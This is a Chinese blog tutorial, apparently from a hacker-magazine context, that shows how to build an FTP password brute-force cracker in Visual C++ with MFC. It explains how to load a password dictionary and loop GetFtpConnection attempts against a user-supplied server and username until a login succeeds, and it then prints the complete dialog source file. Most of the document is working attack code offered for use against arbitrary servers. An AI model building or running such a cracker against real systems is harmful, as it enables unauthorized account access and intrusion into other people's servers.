用VC打造Ftp暴力破解器

看我用VC打造Ftp暴力破解器

hammers

《黑防》第九期刊载了无敌小龙的VB打造FTP密码暴力破解工具,他是采用抓包的方式,直接利用VB和ftp协议来做的这个破解工具,其实如果用现成的类库,效果可能会更好些,C++效率也能更高些。下面我就用VC编程的方法,实现一个Ftp暴力破解器,从技术层面上做一下探讨。

我们打造的这个破解器,主要用到了VC中的两个类,分别是CInternetSession和GetFtpConnection。CInternetSession类是用来创建一个Internet会话的,这个会话支持三个协议,Http,Ftp和Gopher,Gopher现在基本上绝迹了,我们用到的是Ftp协议会话,从CInternetSession 的成员函数GetFtpConnection中可以直接返回一个Ftp会话的指针,GetFtpConnection的成员函数包含了操作文件的所有命令,如下载、上传、打开、删除重定位文件夹等等,这些信息我们并没有用到,关于这些信息可以参照MSDN。闲话少说,我们正式开工。

打开VC 6.0,创建一个对话框工程,界面设计如图1:

图1

服务器用来填写你要破解的Ftp服务器的IP地址,用户名是Ftp用户名,检测结果用来存放检测成功的密码,导入密码按钮用来导入字典文件。

首先做做准备活动,在stdafx.h中加上#include <afxinet.h>和#include <comdef.h>来确保两个类的引用,然后在对对话框加上两个私有变量CInternetSession *SessionPtr;和CFtpConnection *ConnectFtpPtr;,三个文本控件ID依次为IDC_EDITSER, IDC_EDITUSER和IDC_EDITRES,并为它们添加变量m_EditSer,m_EditUser和m_EditRes。检测按钮和导入密码按钮的ID为IDC_BUTBEGIN和IDC_BUTINSERT,右侧CCtrllist控件的ID为IDC_LISTPASS,为其添加一个控件变量分别为m_ListPass并设置为REPORT类型,同时给进度条添加变量为m_Progress。至此,整个程序所用到的全局变量和控件就全部准备好了。

下面开始编写程序,我们做的第一件事是将密码文件导入。密码文件每一行写一个密码,与普通的字典文件相同。

图2

做好字典文件之后给导入密码按钮添加一个函数,代码如下:

void CFtpBlDlg::OnButinsert() 

{

// TODO: Add your control notification handler code here

CString strPath;

CFileDialog FileOpen(TRUE);

if(FileOpen.DoModal() == IDOK)

{

FILE *fp;   

char str[1024];

strPath = FileOpen.GetPathName();

fp = fopen(strPath,"r"); 

int i = 0;

while(!feof(fp))

{

fgets(str, 1024, fp);

m_ListPass.InsertItem(i, str);

i += 1;

}

}

}

这段代码是创建一个文件对话框,用户选择文件之后,然后按照行将密码主动性内存再添加到CListCtrl控件中。到这你就可以看到右边出现我们预先设置的密码了,如图3所示。

图3

密码导入成功后,将服务器的IP地址和用户名填上,然后点击检测按钮就可以进行破解了。检测按钮对应的函数代码为:

UpdateData(TRUE); //将界面数据更新到控件变量中

SessionPtr = new CInternetSession

(NULL, 1, PRE_CONFIG_INTERNET_ACCESS); //创建一个Internet链接

if(SessionPtr == NULL)

{

MessageBox("链接创建失败,请检查网络");

return;

}

int i = 0;

char strPsd[1024];

BOOL Success = FALSE;

m_Progress.SetRange(0, m_ListPass.GetItemCount()); //进度条

m_Progress.SetPos(0);

while(i < m_ListPass.GetItemCount()) //按照密码逐个扫描

{

m_ListPass.GetItemText(i, 0, strPsd, 1024); //依次来取密码

if(ConnectFtp(m_EditSer, m_EditUser, strPsd) == TRUE)//进行Ftp连接

{

m_EditRes = strPsd; //连接成功

Success = TRUE;

break;

}

i += 1;

m_Progress.SetPos(i);

}

if(Success == FALSE) //失败

{

m_EditRes = "没有密码";

}

UpdateData(FALSE); //更新界面显示

这段代码是整个破解的核心,基本原理是首先将界面数据用UpdateData(TRUE)全部更新到变量中,然后创建一个CInternetSession对象,接着从CListCtrl控件中依次取出密码再进行Ftp连接,如果连接成功,则表明密码正确,停止破解,如果连接不成功,则继续扫描下一个密码。

其中ConnectFtp的代码也很简单:

TRY

{

ConnectFtpPtr = SessionPtr->GetFtpConnection(strServer, strUser, strPass, usPort);

}

CATCH_ALL(e)

{

return FALSE;

}

END_CATCH_ALL

return TRUE;

进行Ftp连接时,如果用户或密码不正确,会抛出一个异常,我们并不需要对这个异常进行处理,只需要返回一个FALSE值就好了。如果读者感兴趣,可以参照MSDN中的CInternetException类的说明,如果密码正确,则返回TRUE。

至此,我们这个简单的Ftp密码暴力破解器就基本上完成了,我们来测试一下,当没有密码符合要求时,应该是图4的样子

图4

当成功时,应该如图5所示

图5

这篇文章写到这里就可以结束了,同样一个程序的实现方法很多,看你选哪一种了,第一次写文章,如有不足之处还请多多指教,论坛上等着你。




// FtpBlDlg.cpp : implementation file
//

#include "stdafx.h"
#include "FtpBl.h"
#include "FtpBlDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
		// No message handlers
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/
// CFtpBlDlg dialog

CFtpBlDlg::CFtpBlDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CFtpBlDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CFtpBlDlg)
	m_EditRes = _T("");
	m_EditSer = _T("");
	m_EditUser = _T("");
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CFtpBlDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CFtpBlDlg)
	DDX_Control(pDX, IDC_PROGRESS1, m_Progress);
	DDX_Control(pDX, IDC_LISTPASS, m_ListPass);
	DDX_Text(pDX, IDC_EDITRES, m_EditRes);
	DDX_Text(pDX, IDC_EDITSER, m_EditSer);
	DDX_Text(pDX, IDC_EDITUSER, m_EditUser);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CFtpBlDlg, CDialog)
	//{{AFX_MSG_MAP(CFtpBlDlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_BUTINSERT, OnButinsert)
	ON_BN_CLICKED(IDC_BUTBEGIN, OnButbegin)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/
// CFtpBlDlg message handlers

BOOL CFtpBlDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	m_ListPass.InsertColumn(0, "密码", LVCFMT_CENTER, 80);
	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CFtpBlDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CFtpBlDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CFtpBlDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

void CFtpBlDlg::OnButinsert() 
{
	// TODO: Add your control notification handler code here
	CString strPath;
	CFileDialog FileOpen(TRUE);
	if(FileOpen.DoModal() == IDOK)
	{
		FILE *fp;   
		char str[1024];
		strPath = FileOpen.GetPathName();
		fp = fopen(strPath,"r"); 
		int i = 0;
		m_ListPass.DeleteAllItems();
		while(!feof(fp))
		{
			fgets(str, 1024, fp);
			m_ListPass.InsertItem(i, str);
			i += 1;
		}
	}
}

void CFtpBlDlg::GetPram()
{
	
}

void CFtpBlDlg::OnButbegin() 
{
	// TODO: Add your control notification handler code here
	UpdateData(TRUE);
	SessionPtr = new CInternetSession
		(NULL, 1, PRE_CONFIG_INTERNET_ACCESS); //创建一个Internet链接

	if(SessionPtr == NULL)
	{
		MessageBox("链接创建失败,请检查网络");
		return;
	}
	int i = 0;
	char strPsd[1024];
	BOOL Success = FALSE;
	m_Progress.SetRange(0, m_ListPass.GetItemCount());
	m_Progress.SetPos(0);
	while(i < m_ListPass.GetItemCount())
	{
		m_ListPass.GetItemText(i, 0, strPsd, 1024);
		if(ConnectFtp(m_EditSer, m_EditUser, strPsd) == TRUE)
		{
			m_EditRes = strPsd;
			Success = TRUE;
			break;
		}
		i += 1;
		m_Progress.SetPos(i);
	}
	if(Success == FALSE)
	{
		m_EditRes = "没有密码";
	}
	UpdateData(FALSE);
}

BOOL CFtpBlDlg::ConnectFtp(CString strServer, CString strUser /* = "" */, CString strPass /* = "" */, unsigned short usPort /* = 21 */)
{
	TRY
	{
		ConnectFtpPtr = SessionPtr->GetFtpConnection(strServer, strUser, strPass, usPort);
	}
	CATCH_ALL(e)
	{
		return FALSE;
	}
	END_CATCH_ALL
	return TRUE;
}


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值